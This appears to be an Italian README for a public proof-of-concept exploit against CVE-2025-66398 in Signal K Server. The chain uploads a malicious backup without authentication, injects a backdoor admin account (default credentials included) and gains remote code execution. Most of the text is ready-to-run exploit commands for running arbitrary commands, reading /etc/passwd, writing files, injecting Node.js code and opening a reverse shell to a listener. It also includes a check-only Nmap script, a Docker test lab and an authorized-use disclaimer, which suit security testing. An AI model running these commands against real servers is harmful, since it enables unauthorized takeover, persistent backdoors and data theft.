CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC
CVE-2025-66398 è un problema di Signal K Server in cui un attaccante non autenticato può avvelenare lo stato di ripristino del server tramite /skServer/validateBackup, quindi dirottare la configurazione tramite /skServer/restore per iniettare un account amministratore backdoor e (opzionalmente) ottenere RCE cambiando la strategia di sicurezza con un modulo Node.js controllato dall'attaccante.
Versioni interessate: Signal K Server ≤ 2.18.0
Impatto (ad alto livello): inquinamento dello stato non autenticato → iniezione di backdoor admin → esecuzione remota di codice (quando si verifica un ripristino + riavvio)
/skServer/validateBackup accetta upload non autenticati.http-signalk-cve-2025-66398.nse già pronto per l'uso negli scan di rete (solo controllo, nessuno sfruttamento).git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go
go install github.com/joshuavanderpoll/cve-2025-66398@latest
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111
Questo PoC ha due modalità:
-check, -command, -read-file, ecc. (Consigliata solo dopo aver completato con successo la modalità interattiva)python3 cve-2025-66398.py -h
# or GoLang release
./cve-2025-66398 -h
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_/\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
[-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]
CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE
options:
-h, --help show this help message and exit
-target URL Base URL of the Signal K server
-useragent UA User-Agent header for all HTTP requests
-timeout SEC Request timeout in seconds (default: 10)
-target-os OS Target server OS for payload/path adaptation: linux (default) or windows
-signalk-dir DIR Override the Signal K data directory on the target (default: OS-dependent)
-check Test if the target is vulnerable without exploiting it
-admin-user USER Admin username for Phase 2 restore
-admin-pass PASS Admin password for Phase 2 restore
-backdoor-user USER Backdoor username to inject (default: backdoor)
-backdoor-pass PASS Backdoor password to inject (default: H4CK1nd3x!)
-command CMD Execute a command on the server (non-interactive)
-read-file PATH Read a remote file via RCE
-write-file CONTENT PATH
Write CONTENT to PATH on the server via RCE
-code CODE Inject raw Node.js code as the security module
-shell Deploy a reverse shell (requires -lhost and -lport)
-lhost HOST Listener host for reverse shell
-lport PORT Listener port for reverse shell
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -check

Uno script Nmap standalone è incluso che esegue la stessa sonda non autenticata — nessuno sfruttamento.
# Against a known Signal K port
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>
# Install system-wide and run without path
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>
Esempio di output:
PORT STATE SERVICE
9360/tcp open unknown
| http-signalk-cve-2025-66398:
| state: VULNERABLE
| title: Signal K Server Unauthenticated Backup Upload leading to RCE
| IDs: CVE-2025-66398
|_ references: https://github.com/joshuavanderpoll/cve-2025-66398 | https://www.cve.org/CVERecord?id=CVE-2025-66398
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000

Lo script:
.backup dannoso su /skServer/validateBackup (senza autenticazione)/skServer/restoreEsegue l'intera catena (Fasi 1 → 3) e un comando:
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

Leggi un file remoto (Fase 3):
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

Reverse shell (Fase 3):
nc -lvnp 4444
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

Note:
-admin-user/-admin-pass, lo script presuppone che l'account backdoor sia già attivo da un'esecuzione precedente.backdoor / H4CK1nd3x! (sostituibili con -backdoor-user / -backdoor-pass).-signalk-dir <DIR>.Un ambiente Docker Compose autonomo con il software vulnerabile per test locali. Consulta DOCKER.md per maggiori dettagli
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360
Questo PoC è solo per test di sicurezza educativi e autorizzati. Non eseguirlo contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.